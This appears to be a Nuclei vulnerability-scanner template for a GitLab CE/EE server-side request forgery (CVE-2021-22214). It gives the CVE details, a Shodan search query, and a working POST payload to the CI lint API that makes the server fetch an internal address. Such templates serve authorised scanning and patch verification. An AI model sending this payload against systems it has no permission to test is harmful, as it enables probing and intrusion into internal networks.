id: CVE-2021-22214 info: name: Gitlab CE/EE 10.5 - Server-Side Request Forgery author: Suman_Kar,GitLab Red Team severity: high description: | GitLab CE/EE versions starting from 10.5 are susceptible to a server-side request forgery vulnerability when requests to the internal network for webhooks are enabled, even on a GitLab instance where registration is limited. The same vulnerability actually spans multiple CVEs, due to similar reports that were fixed across separate patches. These CVEs are: - CVE-2021-39935 - CVE-2021-22214 - CVE-2021-22175 remediation: | Upgrade Gitlab CE/EE to a version that is not affected by the vulnerability (10.6 or higher). reference: - https://nvd.nist.gov/vuln/detail/CVE-2021-22214 - https://nvd.nist.gov/vuln/detail/CVE-2021-39935 - https://nvd.nist.gov/vuln/detail/CVE-2021-22175 - https://vin01.github.io/piptagole/gitlab/ssrf/security/2021/06/15/gitlab-ssrf.html - https://docs.gitlab.com/ee/api/lint.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N cvss-score: 8.6 cve-id: CVE-2021-22214 cwe-id: CWE-918 epss-score: 0.17367 epss-percentile: 0.95576 cpe: cpe:2.3:a:gitlab:gitlab:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: gitlab product: gitlab shodan-query: http.title:"GitLab" tags: cve,cve2021,gitlab,ssrf http: - method: POST path: - "{{BaseURL}}/api/v4/ci/lint?include_merged_yaml=true" body: | {"content": "include:\n remote: http://127.0.0.1:9100/test.yml"} headers: Content-Type: application/json host-redirects: true max-redirects: 3 matchers: - type: word part: body words: - "does not have valid YAML syntax" # digest: 490a00463044022004995ec3ebee5a667d669b9e0831a980ae194a1db92ad10d2f10d672e27ac53702200ce8eec7b1f34ce5e83b36212d09cb1d1f48a8c8c753454bf69117517d249bc6:922c64590222798bb761d5b6d8e72950